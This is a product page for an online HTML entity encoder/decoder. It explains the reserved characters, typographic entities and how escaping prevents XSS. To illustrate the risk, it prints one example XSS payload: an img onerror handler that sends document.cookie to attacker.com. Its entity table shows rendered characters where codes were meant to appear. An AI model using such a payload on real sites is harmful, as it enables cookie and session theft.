HTML Entity Converter
Convert special characters to and from HTML entities.
HTML Entity Encoder & Decoder: Escape Reserved Characters & Typographical Symbols
You are building a blog comment section, editing an HTML newsletter, or rendering user input in a React or PHP template. A user types <script>alert(1)</script> or a math formula like 5 < 10 & 10 > 2.
In HTML, characters like angle brackets (< and >) and ampersands (&) are reserved syntax tokens. If you insert them into HTML without escaping, the browser interprets them as tag boundaries, breaking your layout or opening dangerous Cross-Site Scripting (XSS) security vulnerabilities.
Our free HTML Entity Converter converts special characters into safe named entities (©), decimal references (©), and hexadecimal codes (©), as well as decoding escaped entity strings back into plain human-readable text instantly in your browser.
The 5 Mandatory Reserved HTML Characters
Every web developer must know these five characters because they are fundamental to DOM parsing security:
| Raw Character | Named Entity | Numeric Decimal | Why Escaping Is Mandatory |
|---|---|---|---|
| & | & | & | Marks the beginning of any HTML entity reference. |
| < | < | < | Marks the start of an HTML tag. Prevents tag injection/XSS. |
| > | > | > | Marks the close of an HTML tag. |
| " | " | " | Prevents premature closing of HTML attribute quotes. |
| ' | ' | ' | Prevents closing single-quoted attributes. |
Typographical Entities That Elevate Editorial Design
Amateur websites use plain typewriter keyboard characters. Editorial and magazine websites use high-end typographical entities:
Dashes: Em Dash vs. En Dash
Never use double hyphens (--). Use — (—) for narrative sentence breaks, and – (–) for number and date ranges (e.g. 2024–2026).
Smart Curly Quotes
Replace dumb straight quotes with directional quotes: “ (“) and ” (”).
Non-Breaking Space ( )
Prevents typographical "widows" (a single lonely word wrapping onto its own line at the end of a heading). Insert between the last two words.
Symbols & Legal Marks
Render trademark (™ ™), copyright (© ©), and registered (® ®) signs reliably.
Preventing XSS: Why HTML Entity Encoding Is Critical
If an attacker submits their username as:
<img src="invalid" onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)" />And your server outputs that raw string directly into the HTML page, the victim's browser executes the malicious script immediately.
By entity-encoding user data before rendering, the string is converted to safe entities (<img src="invalid" ... />). The browser displays the text harmlessly without executing any scripts.
Frequently Asked Questions
Should I use named entities or numeric entities?
Named entities (like ©) are easier for humans to read and edit. Numeric entities (like ©) have universal support across all XML parsers, older RSS feeds, and legacy email clients.
Does modern UTF-8 eliminate the need for HTML entities?
UTF-8 allows you to type accented letters (like é or ñ) directly into your HTML file. However, the five reserved syntax characters (< > & " ') MUST still be escaped into HTML entities to avoid parsing conflicts and security breaches.
Can I decode encrypted or escaped strings back to text?
Yes. Paste any text containing mixed entities, click "Decode", and the tool translates every entity code back into standard readable characters.